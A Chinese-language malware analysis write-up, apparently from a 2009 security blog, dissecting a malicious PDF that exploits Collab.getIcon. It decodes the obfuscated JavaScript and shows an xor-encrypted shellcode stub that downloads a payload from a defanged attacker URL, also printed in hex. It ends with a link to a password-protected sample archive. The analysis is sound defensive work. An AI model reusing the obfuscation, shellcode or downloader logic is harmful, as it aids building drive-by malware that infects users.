Blast's Security Lab
8 Aug 2009
目标: PDF (Collab.getIcon) (Shellcode部分)
版本: PDF 1.1
来源: hxxp://igooddeal.com/cache/PDF.php?st=Firefox
工具: Redoce 2.023 / OllyDebug
语言: JavaScript
SAC#09003
www.sacour.cn 转载保留此行
(为防止代码被误执行,文中涉及的文件及代码将在文末最后给出下载连接)
文件信息:
文件: vxw.pdf
MD5 : CCA4CBFB515827893771B2C566C0602C
大小: 3,684 字节
时间: 2009-8-7 22:58:45
文件结构(有省略):
0◆%PDF-1.1
9◆1 0 obj
17◆<</Typ#65/A#63tion/S/GoTo/D[9 0 R /XYZ 0 504 1]>>
67◆endobj
74◆6 0 obj
…………
589◆stream
595◆[Compressed stream]
2574◆endstream
2585◆end of file
其中,偏移595(十进制)处就是恶意代码所在了,使用Redoce解压这个数据流。
一行行的看代码:
Ln1:: var csI=String,Zar=eval(csI.fromCharCode(101,118,97,108)),vNI=Zar(unescape("\un\e\s\c\a\p\e"));
此行定义变量,csl内容为String类。在String类被重定义过后,
csl.fromCharCode(101,118,97,108) 即是等于 String.fromCharCode(101,118,97,108)
(String.fromCharCode: 参阅http://www.w3schools.com/jsref/jsref_fromCharCode.asp, JavaScript fromCharCode() Method.)
即根据ASCII码返回字符,101=e;118=v;97=a;108=l。故Zar的最终值为eval("eval")即eval。
在eval被重定义过后,vNI的值实际应为:
eval(unescape("\un\e\s\c\a\p\e"))=eval("unescape")=unescape。
故需要记住以下三个被重定义的方法或类型:
| String | csl |
| eval | Zar |
| unescape | vNI |
再一行,
var rtL=" 118# 97# 114# 32# 100# 70# 79# 61# 117# 110# 101# 115# 99# 97# 112# 101# 44# 118# 120# 119# 61# 97# 112# 112# 46# 118# ……(代码过长省略) 59# 125".replace(/[a-z]/g,function (nqd){Zar(vNI("\u002e\u0072\u0065\u0070\u006c\u0061\u0063\u0065\u0028\u002f\u005b……(代码过长省略)\u0036\u0035\u0029\u003b"));}).split("# ");
主要的有5个部分。
先是var,定义一个变量,并在定义时给出它的值。
然后是.replace功能,.replace有两个参数,第一个参数是/[a-z]/g,这是一个正则表达式,代表的是字符“abcdefghijklmnopqrstuvwxyz”,即只要遇到这些字符就替换成后面的function (nqd){}返回值,把被重定义的方法还原,代码即为eval(unescape("\u002e.........");
那么这些字符到底是什么,还原代码可知:
.replace(/[A-Z]/g,function (nqd){return csI.fromCharCode((((nqd = nqd.charCodeAt(0)) & 223) - 52) % 26 + (nqd & 32) + 65);
原来又是一个替换功能,这回替换的是大写的A-Z。并且还对传入的nqd参数进行了如下操作:
nqd的第一位字符的ASCII(charCodeAt(0))与223逻辑和运算 ==> 0 & 223 = 0
然后减掉52 ==> 0-52=-52
除以26取余 ==> Mod(-52/26)=0
nqd与32的逻辑和运算 ==> 0 & 32=0
前两个运算结果与65相加 ==> 0+0+65=65='A'
原来是把字母全部换为'A',不过仔细一看,变量值中根本没有字母,所以这句是无效操作。
最后一个,.split("# "),这个是以"# "为标记把变量转为数组。
比如shuzu="12A34A56A78".split("A")的结果(Base=0)就是
shuzu=
| Element | Value |
| 0 | "12" |
| 1 | "34" |
| 2 | "56" |
| 3 | "78" |
再如,alert(shuzu[3]);返回的即为字符"78"。
好吧,这儿rtL是一大堆数字组成的数组了,其实很容易看出来他们就是ASCII代码,我们也可以直接解决这些字符,不过还是继续看看他们的伎俩吧:
结尾一段:
Zar(vNI("\u0076\u0061\u0072\u0020\u0065\u0043\u0050\u0020\u003d\u0020\u0022\u0022\u002c\u0020\u0057\u004c\u0070\u003d\u0030\u003b\……(代码过长省略)u0065\u0043\u0050\u0029\u003b"));
易得:
var eCP = "", WLp=0;while(WLp<rtL.length){ eCP += csI.fromCharCode(rtL[WLp]); WLp++}Zar(eCP);
好吧,明显的看出来,他建立了一个字串变量eCP,数字变量WLp,并不断写入ASCII转回的字串,最后通过Eval来执行代码。
你可以直接修改代码,或者使用其他工具来输出结果,这儿我使用了Dev C++ 4.98模拟输出它的结果:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char rtL[65535]={118,97,114,32,100,70,79,61,117,110,101,115, \
99,97,112,101,44,118,120, ……(代码过长省略)110,100,108,101,39,41,59,125};
FILE *Ptr;
Ptr = fopen("c:\\output.txt", "w");
fprintf(Ptr, "%s\n", rtL);
fclose(Ptr);
system("%WINDIR%\\SYSTEM32\\EDIT.COM c:\\output.txt");
system("PAUSE");
return 0;
}
现在的问题很简单了,因为从EDIT.COM返回的数据我们已经能清楚看到ShellCode了。
ShellCode共计三段,每段独立可用,选取第一段使用Redoce生成EXE。
得到Malware.exe(见文末附件的Malware(Dangerous).txt),使用OD载入
0040500F 8033 EF xor byte ptr [ebx], 0EF
00405012 43 inc ebx
00405013 ^ E2 FA loopd short 0040500F
可以看到他使用了简单的xor 0EF进行加密。继续调试,
DeleteFileA(GetSystemDirectoryA + "~.exe")
Stack ss:[0012FBE0]=4213798B (URLMON.URLDownloadToFileA)
eax=0040519C (MyOutPut.0040519C), ASCII "hxxp://igooddeal.com/load.php?a=a&st=Firefox&e=2"
一切都那么容易就被发觉了,那为什么不用软件直接解密呢?
输入密钥:0EF,解密,……没有看到URL?这是怎么回事?
00405008 5B pop ebx ;ebx=40501c
00405009 33C9 xor ecx, ecx ;ecx=0
0040500B 66:B9 8001 mov cx, 180 ;cx=180
0040500F 8033 EF xor byte ptr [ebx], 0EF ;ebx处字符xor 0ef
00405012 43 inc ebx ;ebx++
00405013 ^ E2 FA loopd short 0040500F ;循环180h次
00405015 /EB 05 jmp short 0040501C
00405017 |E8 ECFFFFFF call 00405008
0040501C -\7F 8B jg short 00404FA9 ;解密自此开始
434343434343EB0F5B33C966B980018033EF43E2FAEB05E8ECF
FFFFF7F8B
自此开始解密数据,解密180h=384d,对应ASCII字节数为384d*2=768d。也就是到后面的+768个字节处停止,看看到哪儿……
4EDFEFEFEF64AFE3649FF342649FE76E03EFEBEFEF
6403B98761A1E1030711EFEFEF66AAEBB987771165E1071FEFEF
……
687474703A2F2F69676F6F646465616C2E636F6D2F6C6F61642E7068703F613D612673743D46697265666F7826653D32
^ offset: 768h, 相对于7f8b处。
看完之后惊呼上当,68 74 74 70,这个熟悉的记号,不就是http吗?原来作者玩了个心眼,最后的URL没有加密,所以如果要获得最终结果的话,只需要直接把\u还原即可。
样本及解密步骤相关在此下载:
(密码:safelab)(具体见ReadmeFirst.txt)http://cid-a6b213403dbd59af.skydrive.live.com/self.aspx/.Public/Sample/malive09003Document.rar
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。